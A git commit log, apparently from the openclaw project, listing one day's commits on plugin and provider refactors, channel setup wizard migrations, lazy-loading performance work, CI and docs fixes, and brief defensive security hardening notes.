7a6be3d531 refactor(plugins): move auth and model policy to providers 2026-03-15 21:52:29 -07:00
Vincent Koc
3d8c29cc53 Build: unbundle LanceDB from published package 2026-03-15 21:51:42 -07:00
Vincent Koc
922ce15c65 Docs: refresh generated config baseline 2026-03-15 21:41:38 -07:00
Vincent Koc
09f607fa82 Hooks: tolerate hidden generated format targets 2026-03-15 21:41:02 -07:00
Peter Steinberger
5287ae3c06 docs: update setup wizard wording 2026-03-15 21:40:31 -07:00
Peter Steinberger
656848dcd7 refactor: rename setup wizard surfaces 2026-03-15 21:40:31 -07:00
Peter Steinberger
07d71d2b27 fix: drop stray a2ui bundle 2026-03-15 21:39:49 -07:00
Peter Steinberger
1beea52d8d refactor: rename setup wizard surfaces 2026-03-15 21:39:49 -07:00
Peter Steinberger
0a2f95916b test: expand ssh sandbox coverage and docs 2026-03-15 21:38:22 -07:00
Peter Steinberger
b8bb8510a2 feat: move ssh sandboxing into core 2026-03-15 21:35:30 -07:00
Peter Steinberger
33edb57e74 fix: keep provider resolution from clobbering channel plugins 2026-03-15 21:31:31 -07:00
Vincent Koc
7781f62d33 Status: restore lazy scan runtime typing 2026-03-15 21:28:56 -07:00
Vincent Koc
cb4a298961 CLI: route gateway status through daemon status 2026-03-15 21:15:04 -07:00
Peter Steinberger
7e8f5ca71b fix(ui): centralize control model ref handling 2026-03-16 04:13:43 +00:00
Vincent Koc
093e51f2b3 Security: lazy-load channel audit provider helpers 2026-03-15 21:09:41 -07:00
Peter Steinberger
c4a5fd8465 docs: update channel setup wording 2026-03-15 21:07:18 -07:00
Peter Steinberger
0f43dc4680 test: fix fetch mock typing 2026-03-15 21:07:05 -07:00
Peter Steinberger
53ccc78c63 refactor: rename setup helper surfaces 2026-03-15 21:06:55 -07:00
Vincent Koc
350b42d342 Status: lazy-load text scan helpers 2026-03-15 21:03:55 -07:00
Peter Steinberger
0218045818 test: silence vitest warning noise 2026-03-15 21:02:31 -07:00
Vincent Koc
522dda1971 Docs: refresh generated config baseline 2026-03-15 21:00:03 -07:00
Vincent Koc
270ba54c47 Status: lazy-load channel security and summaries 2026-03-15 21:00:03 -07:00
Vincent Koc
7d5e26b4a2 Tests: stabilize bundle MCP env on Windows 2026-03-15 21:00:03 -07:00
Vincent Koc
31e6cb0df6 Nostr: break setup-surface import cycle 2026-03-15 21:00:03 -07:00
Christopher Chamaletsos
d9fb50e777 fix: format default model label as 'model · provider' for consistency
The default option showed 'Default (openai/gpt-5.2)' while individual
options used the friendlier 'gpt-5.2 · openai' format.
2026-03-15 20:59:38 -07:00
Christopher Chamaletsos
01456f95bc fix: control UI sends correct provider prefix when switching models
The model selector was using just the model ID (e.g. "gpt-5.2") as the
option value. When sent to sessions.patch, the server would fall back to
the session's current provider ("anthropic") yielding "anthropic/gpt-5.2"
instead of "openai/gpt-5.2".

Now option values use "provider/model" format, and resolveModelOverrideValue
and resolveDefaultModelValue also return the full provider-prefixed key so
selected state stays consistent.
2026-03-15 20:59:38 -07:00
Peter Steinberger
a33caab280 refactor(plugins): move auth and model policy to providers 2026-03-15 20:59:06 -07:00
Vincent Koc
ca2f046668 Status: route JSON through lean command 2026-03-15 20:56:44 -07:00
Vincent Koc
1f50fed3b2 Agents: skip eager context warmup for status commands 2026-03-15 20:52:31 -07:00
Vincent Koc
92d5307074 Status: lazy-load channel summary helpers 2026-03-15 20:52:31 -07:00
Peter Steinberger
0eaf03f55b fix: update feishu setup adapter import 2026-03-15 20:46:29 -07:00
Peter Steinberger
dfc237c319 docs: update channel setup docs 2026-03-15 20:44:26 -07:00
Peter Steinberger
98dcbd3e7e build: add setup entrypoints for migrated channel plugins 2026-03-15 20:44:26 -07:00
Peter Steinberger
371366e9eb feat: add synology chat setup wizard 2026-03-15 20:44:26 -07:00
Peter Steinberger
de503dbcbb refactor: move setup fallback into setup registry 2026-03-15 20:44:25 -07:00
Peter Steinberger
77d0ff629c refactor: rename channel setup flow seam 2026-03-15 20:44:25 -07:00
Vincent Koc
ca6dbc0f0a Gateway: lazy-load SSH status helpers 2026-03-15 20:40:22 -07:00
Peter Steinberger
aa28d1c711 feat: add firecrawl onboarding search plugin 2026-03-16 03:38:58 +00:00
Peter Steinberger
be8fef3840 docs: expand openshell sandbox docs 2026-03-15 20:35:56 -07:00
Peter Steinberger
ae7f18e503 feat: add remote openshell sandbox mode 2026-03-15 20:28:19 -07:00
Vincent Koc
3b26da4b82 CLI: route gateway status before program registration 2026-03-15 20:26:58 -07:00
Peter Steinberger
8ab01c5c93 refactor(core): land plugin auth and startup cleanup 2026-03-15 20:12:37 -07:00
Vincent Koc
f71f44576a Status: lazy-load read-only account inspectors 2026-03-15 20:10:43 -07:00
Vincent Koc
986b772a89 Status: scope JSON plugin preload to configured channels 2026-03-15 20:05:54 -07:00
Peter Steinberger
d8b927ee6a feat: add openshell sandbox backend 2026-03-15 20:03:22 -07:00
Peter Steinberger
bc6ca4940b fix: drop duplicate channel setup import 2026-03-15 19:58:22 -07:00
Peter Steinberger
46482a283a feat: add nostr setup and unify channel setup discovery 2026-03-15 19:58:22 -07:00
Peter Steinberger
84c0326f4d refactor: move group access into setup wizard 2026-03-15 19:58:22 -07:00
Vincent Koc
d8e138c743 Gateway: add presence-only probe mode for status 2026-03-15 19:56:08 -07:00
Josh Avant
a2cb81199e secrets: harden read-only SecretRef command paths and diagnostics (#47794)
* secrets: harden read-only SecretRef resolution for status and audit

* CLI: add SecretRef degrade-safe regression coverage

* Docs: align SecretRef status and daemon probe semantics

* Security audit: close SecretRef review gaps

* Security audit: preserve source auth SecretRef configuredness

* changelog

Signed-off-by: joshavant <830519+joshavant@users.noreply.github.com>

---------

Signed-off-by: joshavant <830519+joshavant@users.noreply.github.com>
2026-03-15 21:55:24 -05:00
Peter Steinberger
3f12e90f3e fix(ci): repair security and route test fixtures 2026-03-15 19:54:00 -07:00
Peter Steinberger
65ec4843e8 fix: tighten outbound channel/plugin resolution 2026-03-16 02:52:01 +00:00
Peter Steinberger
a97e1e1611 fix(plugins): tighten lazy setup typing 2026-03-15 19:47:58 -07:00
Vincent Koc
fdfefcaa11 Status: skip unused channel issue scan in JSON mode 2026-03-15 19:43:42 -07:00
Vincent Koc
dd203c8eee Zalouser: split setup adapter helpers 2026-03-15 19:39:38 -07:00
Peter Steinberger
b580d142cd refactor(plugins): split lightweight channel setup modules 2026-03-15 19:38:19 -07:00
Vincent Koc
88b8151c52 Zalo: split setup adapter helpers 2026-03-15 19:37:25 -07:00
Tak Hoffman
b37085984d fixed main? 2026-03-15 21:36:56 -05:00
Vincent Koc
61bcdcca9c Feishu: split setup adapter helpers 2026-03-15 19:35:25 -07:00
Ayaan Zaidi
c08796b039 fix: add Telegram topic-edit action (#47798) 2026-03-16 08:03:22 +05:30
Ayaan Zaidi
ac5e97097e fix(telegram): normalize topic-edit targets 2026-03-16 08:03:22 +05:30
Ayaan Zaidi
a516141bda feat(telegram): add topic-edit action 2026-03-16 08:03:22 +05:30
Vincent Koc
0c9428a865 MSTeams: split setup adapter helpers 2026-03-15 19:32:48 -07:00
Vincent Koc
7212b5f01a Matrix: split setup adapter helpers 2026-03-15 19:31:11 -07:00
Vincent Koc
ecc688d205 Google Chat: split setup adapter helpers 2026-03-15 19:29:19 -07:00
Peter Steinberger
acae0b60c2 perf(plugins): lazy-load channel setup entrypoints 2026-03-15 19:27:55 -07:00
Peter Steinberger
bcdbd03579 docs: refresh zh-CN model providers 2026-03-16 02:26:45 +00:00
Peter Steinberger
47a9c1a893 refactor: merge minimax bundled plugins 2026-03-16 02:26:45 +00:00
Vincent Koc
6513749ef6 Mattermost: split setup adapter helpers 2026-03-15 19:26:13 -07:00
Peter Steinberger
c8576ec78b fix: resolve line setup rebase drift 2026-03-16 02:25:02 +00:00
Peter Steinberger
38abdea8ce fix: restore ci type checks 2026-03-16 02:23:44 +00:00
Vincent Koc
6a2efa541b LINE: split setup adapter helpers 2026-03-15 19:21:40 -07:00
Vincent Koc
c89527f389 Tlon: split setup adapter helpers 2026-03-15 19:19:28 -07:00
Peter Steinberger
c6950367fb fix: allow plugin package id hints 2026-03-16 02:19:02 +00:00
Vincent Koc
067215629f Telegram: split setup adapter helpers 2026-03-15 19:15:50 -07:00
Peter Steinberger
60bf58ddbc refactor: trim onboarding sdk exports 2026-03-15 19:14:36 -07:00
Peter Steinberger
ec93398d7b refactor: move line to setup wizard 2026-03-15 19:14:36 -07:00
Vincent Koc
9785b44307 IRC: split setup adapter helpers 2026-03-15 19:12:58 -07:00
Peter Steinberger
10f4a03de8 docs(google): remove stale plugin references 2026-03-16 02:11:19 +00:00
Peter Steinberger
2b57d3bb34 build(plugin-sdk): enforce export sync in check 2026-03-16 02:11:19 +00:00
Peter Steinberger
39aba198f1 fix(docs): run i18n through a local rpc client 2026-03-16 02:11:18 +00:00
Peter Steinberger
6987a3c8b5 docs(i18n): sync zh-CN google plugin references 2026-03-16 02:11:18 +00:00
Peter Steinberger
0a136f1b90 fix(docs): harden i18n prompt failures 2026-03-16 02:11:18 +00:00
Peter Steinberger
59940cb3ee refactor(plugin-sdk): centralize entrypoint manifest 2026-03-16 02:11:18 +00:00
Peter Steinberger
92e765cdee refactor(google): split oauth flow modules 2026-03-16 02:11:18 +00:00
Peter Steinberger
7c0cac2740 refactor(plugins): share bundled compat transforms 2026-03-16 02:11:18 +00:00
Peter Steinberger
bb76a90dd1 refactor(tests): share plugin registration helpers 2026-03-16 02:11:18 +00:00
Peter Steinberger
6b28668104 test(plugins): cover retired google auth compatibility 2026-03-16 02:11:18 +00:00
Vincent Koc
4ed30abc7a BlueBubbles: split setup adapter helpers 2026-03-15 19:10:54 -07:00
Peter Steinberger
70a6d40d37 fix: remove stale dist plugin dirs 2026-03-16 02:10:36 +00:00
Vincent Koc
7d2ddf70c1 Nextcloud Talk: split setup adapter helpers 2026-03-15 18:59:58 -07:00
Vincent Koc
413d2ff3da iMessage: lazy-load setup wizard surface 2026-03-15 18:53:58 -07:00
Vincent Koc
399b6f745a Signal: restore setup surface helper exports 2026-03-15 18:53:58 -07:00
Peter Steinberger
57a0534f93 fix(cli): repair preaction merge typo 2026-03-15 18:47:23 -07:00
Peter Steinberger
fb991e6f31 perf(plugins): lazy-load setup surfaces 2026-03-15 18:46:54 -07:00
Vincent Koc
de6666b895 Signal: lazy-load setup wizard surface 2026-03-15 18:44:59 -07:00
Vincent Koc
d663df7a74 Discord: lazy-load setup wizard surface 2026-03-15 18:36:57 -07:00
Vincent Koc
1c4f52d6a1 Feishu: drop stale runtime onboarding export 2026-03-15 18:36:41 -07:00
Vincent Koc
961f42e0cf Slack: lazy-load setup wizard surface 2026-03-15 18:29:40 -07:00
Peter Steinberger
1e196db49d fix: quiet discord startup logs 2026-03-16 01:27:09 +00:00
Peter Steinberger
26a8aee01c refactor: drop channel onboarding fallback 2026-03-15 18:24:39 -07:00
Peter Steinberger
0958aea112 refactor: move matrix msteams twitch to setup wizard 2026-03-15 18:24:39 -07:00
Peter Steinberger
40be12db96 refactor: move feishu zalo zalouser to setup wizard 2026-03-15 18:24:39 -07:00
Peter Steinberger
71a69e5337 refactor: extend setup wizard account resolution 2026-03-15 18:23:40 -07:00
Peter Steinberger
9cca8a6de5 fix(matrix): assert outbound runtime hooks 2026-03-15 18:20:53 -07:00
Peter Steinberger
83ee5c0328 perf(status): defer heavy startup loading 2026-03-15 18:20:53 -07:00
Peter Steinberger
9c89a74f84 perf(cli): trim help startup imports 2026-03-15 18:20:52 -07:00
Peter Steinberger
74a57ace10 refactor(plugins): lazy load provider runtime shims 2026-03-15 18:20:52 -07:00
Peter Steinberger
b54e37c71f feat(plugins): merge openai vendor seams into one plugin 2026-03-15 18:20:52 -07:00
Peter Steinberger
bc5054ce68 refactor(google): merge gemini auth into google plugin 2026-03-16 01:19:32 +00:00
Peter Steinberger
d56559bad7 fix: repair node24 ci type drift 2026-03-16 01:15:31 +00:00
Peter Steinberger
b8dbc12560 fix: align channel adapters with plugin sdk 2026-03-16 01:10:27 +00:00
Vincent Koc
7a93f7d9df WhatsApp: lazy-load setup wizard surface 2026-03-15 18:09:05 -07:00
Peter Steinberger
579d0ebe2b refactor(web-search): move providers into company plugins 2026-03-16 01:07:45 +00:00
Peter Steinberger
3aa5f2703c fix(web-search): restore build after plugin rebase 2026-03-16 01:07:45 +00:00
Peter Steinberger
e8156c8281 feat(web-search): add plugin-backed search providers 2026-03-16 01:07:44 +00:00
Peter Steinberger
59bcac472e fix: gate setup-only plugin side effects 2026-03-16 01:05:42 +00:00
Vincent Koc
ae6ee73097 Google Chat: lazy-load runtime-heavy channel paths 2026-03-15 18:02:27 -07:00
Vincent Koc
66a8c257b9 Feishu: lazy-load runtime-heavy channel paths 2026-03-15 18:01:43 -07:00
Peter Steinberger
a78b83472e refactor: expose setup wizard sdk surfaces 2026-03-15 17:57:04 -07:00
Peter Steinberger
18e4e4677c refactor: move googlechat to setup wizard 2026-03-15 17:57:04 -07:00
Peter Steinberger
8c71b36acb refactor: move tlon to setup wizard 2026-03-15 17:57:04 -07:00
Peter Steinberger
a8bee6fb6c refactor: move irc to setup wizard 2026-03-15 17:57:04 -07:00
Peter Steinberger
0da588d2d2 refactor: move whatsapp to setup wizard 2026-03-15 17:57:03 -07:00
Peter Steinberger
33495f32e9 refactor: expand setup wizard flow 2026-03-15 17:57:03 -07:00
Vincent Koc
da4f82503f MSTeams: lazy-load runtime-heavy channel paths 2026-03-15 17:50:35 -07:00
Vincent Koc
c0e0115b31 CI: add CLI startup memory regression check 2026-03-15 17:42:48 -07:00
Vincent Koc
a782358c9b Matrix: lazy-load runtime-heavy channel paths 2026-03-15 17:38:39 -07:00
Vincent Koc
f87e7be55e CLI: restore lightweight root help and scoped status plugin preload 2026-03-15 17:38:39 -07:00
Peter Steinberger
c455cccd3d refactor: move nextcloud talk to setup wizard 2026-03-15 17:34:36 -07:00
Peter Steinberger
bad65f130e refactor: move bluebubbles to setup wizard 2026-03-15 17:34:36 -07:00
Peter Steinberger
cbb8c43f60 refactor: tighten setup wizard onboarding bridge 2026-03-15 17:34:36 -07:00
Peter Steinberger
eb97535a35 build: suppress protobufjs eval warning in tsdown 2026-03-16 00:29:39 +00:00
Peter Steinberger
dd96be4e95 chore: raise plugin registry cache cap 2026-03-15 17:29:17 -07:00
Peter Steinberger
c156f7c7e3 fix: reduce plugin and discord warning noise 2026-03-16 00:24:44 +00:00
Peter Steinberger
a9317a4c28 test(discord): cover startup phase logging 2026-03-16 00:11:26 +00:00
Peter Steinberger
0537f3e597 fix: repair onboarding setup-wizard imports 2026-03-16 00:10:46 +00:00
Peter Steinberger
ee7ecb2dd4 feat(plugins): move anthropic and openai vendors to plugins 2026-03-15 17:07:28 -07:00
Peter Steinberger
e42d86afa9 docs: document richer setup wizard prompts 2026-03-15 17:06:42 -07:00
Peter Steinberger
1f37203f88 refactor: move signal imessage mattermost to setup wizard 2026-03-15 17:06:42 -07:00
Peter Steinberger
c6239bf253 refactor: expand setup wizard input flow 2026-03-15 17:06:42 -07:00
Peter Steinberger
70a228cdaa fix: repair onboarding adapter registry imports 2026-03-16 00:06:28 +00:00
Peter Steinberger
1f68e6e89c docs(plugins): unify bundle format explainer 2026-03-15 16:58:28 -07:00
Peter Steinberger
c05cfccc17 docs(plugins): document provider runtime usage hooks 2026-03-15 16:57:32 -07:00
Peter Steinberger
8e2a1d0941 feat(plugins): move bundled providers behind plugin hooks 2026-03-15 16:57:24 -07:00
Peter Steinberger
e7555724af feat(plugins): add provider usage runtime hooks 2026-03-15 16:57:16 -07:00
Mason
f4cc93dc7d fix(onboarding): use scoped plugin snapshots to prevent OOM on low-memory hosts (#46763)
* fix(onboarding): use scoped plugin snapshots to prevent OOM on low-memory hosts

Onboarding and channel-add flows previously loaded the full plugin registry,
which caused OOM crashes on memory-constrained hosts. This patch introduces
scoped, non-activating plugin registry snapshots that load only the selected
channel plugin without replacing the running gateway's global state.

Key changes:
- Add onlyPluginIds and activate options to loadOpenClawPlugins for scoped loads
- Add suppressGlobalCommands to plugin registry to avoid leaking commands
- Replace full registry reloads in onboarding with per-channel scoped snapshots
- Validate command definitions in snapshot loads without writing global registry
- Preload configured external plugins via scoped discovery during onboarding

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(test): add return type annotation to hoisted mock to resolve TS2322

* fix(plugins): enforce cache:false invariant for non-activating snapshot loads

* Channels: preserve lazy scoped snapshot import after rebase

* Onboarding: scope channel snapshots by plugin id

* Catalog: trust manifest ids for channel plugin mapping

* Onboarding: preserve scoped setup channel loading

* Onboarding: restore built-in adapter fallback

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-15 16:52:08 -07:00
Peter Steinberger
a058bf918d feat(plugins): test bundle MCP end to end 2026-03-15 16:51:13 -07:00
Peter Steinberger
c3ed3ba310 docs: update setup wizard capabilities 2026-03-15 16:48:43 -07:00
Peter Steinberger
5a68e8261e refactor: drop onboarding adapter sdk exports 2026-03-15 16:48:43 -07:00
Peter Steinberger
bb160ebe89 refactor: move discord and slack to setup wizard 2026-03-15 16:48:43 -07:00
Peter Steinberger
6e047eb683 refactor: expand setup wizard flow 2026-03-15 16:48:43 -07:00
Vincent Koc
c74042ba04 Commands: lazy-load auth choice plugin provider runtime (#47692)
* Commands: lazy-load auth choice plugin provider runtime

* Tests: cover auth choice plugin provider runtime
2026-03-15 16:40:51 -07:00
Peter Steinberger
fd7e283ac5 fix: tighten setup wizard typing 2026-03-15 16:26:09 -07:00
Peter Steinberger
d040d48af4 docs: describe channel setup wizard surface 2026-03-15 16:26:09 -07:00
Peter Steinberger
a4047bf148 refactor: move telegram onboarding to setup wizard 2026-03-15 16:26:09 -07:00
Peter Steinberger
74c762beb0 refactor: decouple channel setup discovery 2026-03-15 16:26:09 -07:00
Vincent Koc
963237a18f Changelog: note plugin agent integrations 2026-03-15 16:10:59 -07:00
Peter Steinberger
9eed6e674b fix(plugins): restore provider compatibility fallbacks 2026-03-15 16:09:40 -07:00
Peter Steinberger
684e5ea249 build(plugins): add bundled provider plugin packages 2026-03-15 16:09:40 -07:00
Peter Steinberger
4adcfa3256 feat(plugins): move provider runtimes into bundled plugins 2026-03-15 16:09:40 -07:00
Peter Steinberger
dd40741e18 feat(plugins): add compatible bundle support 2026-03-15 16:08:50 -07:00
Harold Hunt
aa1454d1a8 Plugins: broaden plugin surface for Codex App Server (#45318)
* Plugins: add inbound claim and Telegram interaction seams

* Plugins: add Discord interaction surface

* Chore: fix formatting after plugin rebase

* fix(hooks): preserve observers after inbound claim

* test(hooks): cover claimed inbound observer delivery

* fix(plugins): harden typing lease refreshes

* fix(discord): pass real auth to plugin interactions

* fix(plugins): remove raw session binding runtime exposure

* fix(plugins): tighten interactive callback handling

* Plugins: gate conversation binding with approvals

* Plugins: migrate legacy plugin binding records

* Plugins/phone-control: update test command context

* Plugins: migrate legacy binding ids

* Plugins: migrate legacy codex session bindings

* Discord: fix plugin interaction handling

* Discord: support direct plugin conversation binds

* Plugins: preserve Discord command bind targets

* Tests: fix plugin binding and interactive fallout

* Discord: stabilize directory lookup tests

* Discord: route bound DMs to plugins

* Discord: restore plugin bindings after restart

* Telegram: persist detached plugin bindings

* Plugins: limit binding APIs to Telegram and Discord

* Plugins: harden bound conversation routing

* Plugins: fix extension target imports

* Plugins: fix Telegram runtime extension imports

* Plugins: format rebased binding handlers

* Discord: bind group DM interactions by channel

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-15 16:06:11 -07:00
Peter Steinberger
4eee827dce Channels: use owned helper imports 2026-03-15 15:59:12 -07:00
Peter Steinberger
8b001d6e4d Channels: move onboarding adapters into extensions 2026-03-15 15:59:12 -07:00
Peter Steinberger
392ddb56e2 build(plugins): add bundled provider plugin manifests 2026-03-15 15:18:32 -07:00
Peter Steinberger
4a0f72866b feat(plugins): move provider runtimes into bundled plugins 2026-03-15 15:18:32 -07:00
Gustavo Madeira Santana
14137bef22 Plugins: clean stale bundled skill outputs 2026-03-15 21:48:09 +00:00
Gustavo Madeira Santana
50a6902a9a Plugins: skip nested node_modules in bundled skills 2026-03-15 21:43:13 +00:00
Gustavo Madeira Santana
1839bc0b1a Plugins: relocate bundled skill assets 2026-03-15 21:42:02 +00:00
Vincent Koc
b810e94a17 Commands: lazy-load non-interactive plugin provider runtime (#47593)
* Commands: lazy-load non-interactive plugin provider runtime

* Tests: cover non-interactive plugin provider ordering

* Update src/commands/onboard-non-interactive/local/auth-choice.plugin-providers.runtime.ts

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

---------

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-03-15 14:37:41 -07:00
Nimrod Gutman
50c8934231 fix(dev): align gateway watch with tsdown wrapper (#47636) 2026-03-15 23:28:57 +02:00
Vincent Koc
5a7aba94a2 CLI: support package-manager installs from GitHub main (#47630)
* CLI: resolve package-manager main install specs

* CLI: skip registry resolution for raw package specs

* CLI: support main package target updates

* CLI: document package update specs in help

* Tests: cover package install spec resolution

* Tests: cover npm main-package updates

* Tests: cover update --tag main

* Installer: support main package targets

* Installer: support main package targets on Windows

* Docs: document package-manager main updates

* Docs: document installer main targets

* Docs: document npm and pnpm main installs

* Docs: document update --tag main

* Changelog: note package-manager main installs

* Update src/infra/update-global.test.ts

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

---------

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-03-15 14:18:12 -07:00
Vincent Koc
3735156766 fix(ci): restore config baseline release-check output (#47629)
* Docs: regenerate config baseline

* Chore: ignore generated config baseline

* Update .prettierignore

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

---------

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-03-15 14:14:30 -07:00
Nimrod Gutman
47fd8558cd fix(plugins): fix bundled plugin roots and skill assets (#47601)
* fix(acpx): resolve bundled plugin root correctly

* fix(plugins): copy bundled plugin skill assets

* fix(plugins): tolerate missing bundled skill paths
2026-03-15 23:00:30 +02:00
Vincent Koc
7931f06c00 Plugins: harden context engine ownership 2026-03-15 13:51:15 -07:00
Gustavo Madeira Santana
4fb0160309 Gateway: sync runtime post-build artifacts 2026-03-15 20:44:15 +00:00
Vincent Koc
b795ba1d02 Merge branch 'main' of https://github.com/openclaw/openclaw
* 'main' of https://github.com/openclaw/openclaw:
  Plugins: reserve context engine ownership (#47595)
  fix(release): block oversized npm packs that regress low-memory startup (#46850)
  Scripts: rebuild on extension and tsdown config changes (#47571)
  Docs: move release runbook to maintainer repo (#47532)
  docs(zalo): document current Marketplace bot behavior (openclaw#47552)
2026-03-15 13:42:21 -07:00
Vincent Koc
85dd0ab2f8 Plugins: reserve context engine ownership (#47595)
* Plugins: reserve context engine ownership

* Update src/context-engine/registry.ts

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

---------

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-03-15 13:33:37 -07:00
Ted Li
07f890fa45 fix(release): block oversized npm packs that regress low-memory startup (#46850)
* fix(release): guard npm pack size regressions

* fix(release): fail closed when npm omits pack size
2026-03-15 21:31:30 +01:00
Gustavo Madeira Santana
594920f8cc Scripts: rebuild on extension and tsdown config changes (#47571)
Merged via squash.

Prepared head SHA: edd8ed8254
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-15 16:19:27 -04:00
Onur Solmaz
a2080421a1 Docs: move release runbook to maintainer repo (#47532)
* Docs: redact private release setup

* Docs: tighten release order

* Docs: move release runbook to maintainer repo

* Docs: delete public mac release page

* Docs: remove zh-CN mac release page

* Docs: turn release checklist into release policy

* Docs: point release policy to private docs

* Docs: regenerate zh-CN release policy pages

* Docs: preserve Doctor in zh-CN hubs

* Docs: fix zh-CN polls label

* Docs: tighten docs i18n term guardrails

* Docs: enforce zh-CN glossary coverage
2026-03-15 20:42:39 +01:00
Tomáš Dinh
4a7fbe090a docs(zalo): document current Marketplace bot behavior (openclaw#47552)
Verified:
- pnpm check:docs

Co-authored-by: Tomáš Dinh <82420070+No898@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-15 14:40:35 -05:00
Vincent Koc
51631e5797 Plugins: reserve context engine ownership 2026-03-15 12:27:29 -07:00
peizhe.chen
42837a04bf fix(models): preserve stream usage compat opt-ins (#45733)
Preserves explicit `supportsUsageInStreaming` overrides from built-in provider
catalogs and user config instead of unconditionally forcing `false` on non-native
openai-completions endpoints.

Adds `applyNativeStreamingUsageCompat()` to set `supportsUsageInStreaming: true`
on ModelStudio (DashScope) and Moonshot models at config build time so their
native streaming usage works out of the box.

Closes #46142

Co-authored-by: pezy <peizhe.chen@vbot.cn>
2026-03-15 20:21:11 +01:00
Nimrod Gutman
e2dac5d5cb fix(plugins): load bundled extensions from dist (#47560) 2026-03-15 21:16:27 +02:00
xiaoyi
bbb0c3e5d7 CLI/completion: fix generator OOM and harden plugin registries (#45537)
* fix: avoid OOM during completion script generation

* CLI/completion: fix PowerShell nested command paths

* CLI/completion: cover generated shell scripts

* Changelog: note completion generator follow-up

* Plugins: reserve shared registry names

---------

Co-authored-by: Xiaoyi <xiaoyi@example.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-15 12:14:30 -07:00
Vincent Koc
dd2eb29038 Commands: split static onboard auth choice help (#47545)
* Commands: split static onboard auth choice help

* Tests: cover static onboard auth choice help

* Changelog: note static onboard auth choice help
2026-03-15 12:11:55 -07:00
Vincent Koc
c9a8b6f82f chore(fmt): format changes and broken types 2026-03-15 12:03:35 -07:00
Vincent Koc
438991b6a4 Commands: lazy-load model picker provider runtime (#47536)
* Commands: lazy-load model picker provider runtime

* Tests: cover model picker runtime boundary
2026-03-15 10:54:46 -07:00
Vincent Koc
630958749c Changelog: note CLI OOM startup fixes (#47525) 2026-03-15 10:54:21 -07:00
Vincent Koc
fc2d29ea92 Gateway: tighten forwarded client and pairing guards (#46800)
* Gateway: tighten forwarded client and pairing guards

* Gateway: make device approval scope checks atomic

* Gateway: preserve device approval baseDir compatibility
2026-03-15 10:50:49 -07:00
Vincent Koc
132e459009 fix(ci): config drift found and documented 2026-03-15 10:43:03 -07:00
Vincent Koc
756d9b5782 CLI: lazy-load auth choice provider fallback (#47495)
* CLI: lazy-load auth choice provider fallback

* CLI: cover lazy auth choice provider fallback
2026-03-15 10:29:31 -07:00
Nimrod Gutman
d88da9f5f8 fix(config): avoid failing startup on implicit memory slot (#47494)
* fix(config): avoid failing on implicit memory slot

* fix(config): satisfy build for memory slot guard

* docs(changelog): note implicit memory slot startup fix (#47494)
2026-03-15 19:28:50 +02:00
Vincent Koc
f0202264d0 Gateway: scrub credentials from endpoint snapshots (#46799)
* Gateway: scrub credentials from endpoint snapshots

* Gateway: scrub raw endpoint credentials in snapshots

* Gateway: preserve config redaction round-trips

* Gateway: restore redacted endpoint URLs on apply
2026-03-15 10:28:15 -07:00
Sally O'Malley
d37e3d582f Scope Control UI sessions per gateway (#47453)
* Scope Control UI sessions per gateway

Signed-off-by: sallyom <somalley@redhat.com>

* Add changelog for Control UI session scoping

Signed-off-by: sallyom <somalley@redhat.com>

---------

Signed-off-by: sallyom <somalley@redhat.com>
2026-03-15 13:08:37 -04:00
Vincent Koc
13e256ac9d CLI: trim onboarding provider startup imports (#47467) 2026-03-15 09:47:56 -07:00
Vincent Koc
8e97b752d0 Tools: revalidate workspace-only patch targets (#46803)
* Tools: revalidate workspace-only patch targets

* Tests: narrow apply-patch delete-path assertion
2026-03-15 09:45:58 -07:00
Vincent Koc
5e78c8bc95 Webhooks: tighten pre-auth body handling (#46802)
* Webhooks: tighten pre-auth body handling

* Webhooks: clean up request body guards
2026-03-15 09:45:18 -07:00
Vincent Koc
7679eb3752 Subagents: restrict follow-up messaging scope (#46801)
* Subagents: restrict follow-up messaging scope

* Subagents: cover foreign-session follow-up sends

* Update CHANGELOG.md
2026-03-15 09:44:51 -07:00
Vincent Koc
9e2eed211c Changelog: add more unreleased PR numbers 2026-03-15 09:36:53 -07:00
Vincent Koc
a493f01a90 Changelog: add missing PR credits 2026-03-15 09:33:47 -07:00
Vincent Koc
229426a257 ACP: require admin scope for mutating internal actions (#46789)
* ACP: require admin scope for mutating internal actions

* ACP: cover operator admin mutating actions

* ACP: gate internal status behind admin scope
2026-03-15 09:28:44 -07:00
Vincent Koc
a47722de7e Integrations: tighten inbound callback and allowlist checks (#46787)
* Integrations: harden inbound callback and allowlist handling

* Integrations: address review follow-ups

* Update CHANGELOG.md

* Mattermost: avoid command-gating open button callbacks
2026-03-15 09:24:24 -07:00
Vincent Koc
67b2d1b8e8 CLI: reduce channels add startup memory (#46784)
* CLI: lazy-load channel subcommand handlers

* Channels: defer add command dependencies

* CLI: skip status JSON plugin preload

* CLI: cover status JSON route preload

* Status: trim JSON security audit path

* Status: update JSON fast-path tests

* CLI: cover root help fast path

* CLI: fast-path root help

* Status: keep JSON security parity

* Status: restore JSON security tests

* CLI: document status plugin preload

* Channels: reuse Telegram account import
2026-03-15 09:10:40 -07:00
Vincent Koc
8d44b16b7c Plugins: preserve scoped ids and reserve bundled duplicates (#47413)
* Plugins: preserve scoped ids and reserve bundled duplicates

* Changelog: add plugin scoped id note

* Plugins: harden scoped install ids

* Plugins: reserve scoped install dirs

